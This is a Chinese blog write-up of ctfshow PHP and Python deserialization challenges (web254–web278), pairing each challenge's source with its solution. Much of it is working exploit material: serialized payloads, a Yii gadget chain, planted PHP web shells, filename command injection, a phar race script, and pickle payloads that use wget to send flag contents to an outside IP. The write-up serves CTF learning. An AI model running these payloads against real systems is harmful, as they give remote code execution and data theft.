ctfshow-反序列化

本文最后更新于 2024年11月1日 晚上

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

观察一下代码

1
?username=xxxxxx&password=xxxxxx

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

简单构造一下

1
2
3
4
5
6
<?php 
class ctfShowUser{
public $isVip=true;
}
$exp = new ctfShowUser();
echo urlencode(serialize($exp));
1
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D//cookie传值
1
?username=xxxxxx&password=xxxxxx

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
1
2
3
4
5
6
7
8
<?php 
class ctfShowUser{
public $username='orange';
public $password='xxxxxx';
public $isVip=true;
}
$exp = new ctfShowUser();
echo urlencode(serialize($exp));
1
?username=orange&password=xxxxxx
1
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22orange%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php



error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}

public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$exp =new ctfShowUser;
echo urlencode(serialize($exp));
1
2
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

过滤了 O:数字: C:数字: 的形式, 可以在数字前面加上 + 绕过

然后之前的 private 全部改成 public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class ctfShowUser{
public $username = '123';
public $password = '123';
public $class;

function __construct($class){
$this->class = $class;
}
};

class backDoor{
public $code = 'system("cat flag.php");';
}

$o = new ctfShowUser(new backDoor());
echo serialize($o);

?>

得到以下内容

1
?username=123&password=123
1
user=O:+11:"ctfShowUser":3:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}

然后url编码进行传入看源码

web259

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

发现非预期好像没了,按正常的来吧,需要利用php的原生类,but我本地代码跑不了,可能是版本问题,直接上别人现成的payload吧

1
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

web260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
1
?ctfshow=ctfshow_i_love_36D

?好像不应该出现在这里吧

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

__wakeup()__unserialize() 同时存在时, 仅会执行 __unserialize() 方法,__invoke() 当尝试将对象调用为函数时触发

0x36d需要转化为十进制

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshowvip{
public $username = '877.php';
public $password = '<?php eval($_REQUEST[1]);?>';
}

echo serialize(new ctfshowvip());

?>
1
?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:27:"<?php eval($_REQUEST[1]);?>";}

一句话木马之后rce就行

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

0x01

1
2
3
4
5
6
7
8
9
10
11
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';

}
echo base64_encode(serialize(new message()));

?>

/message.php下面cookie传值

1
msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

0x02

字符串逃逸

需要确保token为admin

1
";s:5:"token";s:5:"admin";}
1
2
3
<?php
$a='";s:5:"token";s:5:"admin";}';
echo strlen($a);

长度为27,通过str_replace可以增加一个字符来进行逃逸

1
?f=orange&m=orange&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

有一个前端页面,下载www.zip,定位到inc/inc.php 中的 User 类有一处 file_put_contents()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

文件的开头是

1
2
3
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');

另外 index.php 中有一处可以设置 session 的点, 而且并没有引用上面的 inc.php

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

check.php 开头

1
2
3
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

这边比较懵了引用一下其他的内容

php.ini配置文件当中有关session存储的配置

1
2
3
4
session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php

session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

inc.php 里显式的设置了 php 这个 handler,index.php 使用 php_serialize handler 序列化我们传入的 cookie 值, 生成对应的 session 文件 inc.php 里使用 php handler 反序列化 session 文件我们利用 php handler 中的 | 来进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = '123.php';
$this->password = '<?php eval($_POST[1]);?>';
}
}
echo base64_encode('|'.serialize(new User()));

?>
1
limit=fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiIxMjMucGhwIjtzOjg6InBhc3N3b3JkIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO30%3D

先访问index.php,里面传在cookie里面传,然后在check.php里面传,最后网页访问log-123.php连接。

web264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

方法同web262的0x02

web265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

exp

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct(){
$this->password =&$this->token;
}
}
$exp =new ctfshowAdmin();
echo serialize($exp);
1
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php




include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';

}
$exp =new ctfshow();
echo serialize($exp);

把ctfshow大写字母,然后bp发包得到flag

web267

参考链接

首先弱密码登陆后台admin::admin

然后在about里面查看源码得到提示

2024-10-28204910

拼接起来

1
/index.php?r=site%2Fabout&view-source

此处有后门

1
2
///backdoor/shell
unserialize(base64_decode($GET['code']))

然后直接利用链子吧,因为平常考察的不多我只做了解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /flag /var/www/html/basic/web/1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
1
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czozODoiY3AgL2ZsYWcgL3Zhci93d3cvaHRtbC9iYXNpYy93ZWIvMS50eHQiO31pOjE7czozOiJydW4iO319fX0=

Web268-web274(跳过)

web275

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

可以通过filter中的__destruct进行语句拼接利用;提前闭合执行语句

1
?fn=a;echo '<?php @eval($_POST[1]); ?>' > orange.php;

然后执行🐎就行了

web276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

根据题目进行分析由于又加了一个限制,admin也需要是true才行,考虑到下方的函数,可以尝试用phar包来进行反序列化

先绕过 checkevil 方法上传文件, 然后利用 copy 和 unlink 的时间差, 再利用一个正常的请求通过 phar:// 协议访问之前上传的文件, 触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class filter{
public $filename = '123; echo \'<?php system($_GET[1]);?>\' > 1.php';
public $evilfile = true;
public $admin = true;
}

$c = new filter();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的的
$phar->setMetadata($c); //触发调用
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import threading

url = 'http://8e3f6bfc-1b55-4266-9ce0-0c133676ade7.challenge.ctf.show/'

lock = False

def send_phar():
with open('exp.phar', 'rb') as f:
data = f.read()
_ = requests.post(url + '?fn=phar.txt', data=data)

def unserialize_phar():
_ = requests.post(url + '?fn=phar://phar.txt', data='123')

def check_shell():
global lock
res = requests.get(url + '1.php')
if res.status_code != 404:
print('ok')
lock = True

while not lock:
t1 = threading.Thread(target=send_phar)
t2 = threading.Thread(target=unserialize_phar)
t3 = threading.Thread(target=check_shell)
t1.start()
t2.start()
t3.start()

然后访问执行就可以得到flag了

web277

看源码有pickle说明应该是python的反序列化,正常的__reduce__就行

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os

class RCE(object):
def __reduce__(self):
return (os.system, ('wget http://8.130.42.113:XXXX/`cat flag`',))

obj = RCE()
payload = pickle.dumps(obj, protocol=0)
print(base64.b64encode(payload))

web278

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os

class RCE(object):
def __reduce__(self):
return (os.popen, ('wget http://8.130.42.113:xxxx/`cat flag`',))

obj = RCE()
payload = pickle.dumps(obj, protocol=0)
print(base64.b64encode(payload))

ctfshow-反序列化
https://0ran9ewww.github.io/2024/10/26/每日一题/ctfshow-反序列化/
作者
orange
发布于
2024年10月26日
许可协议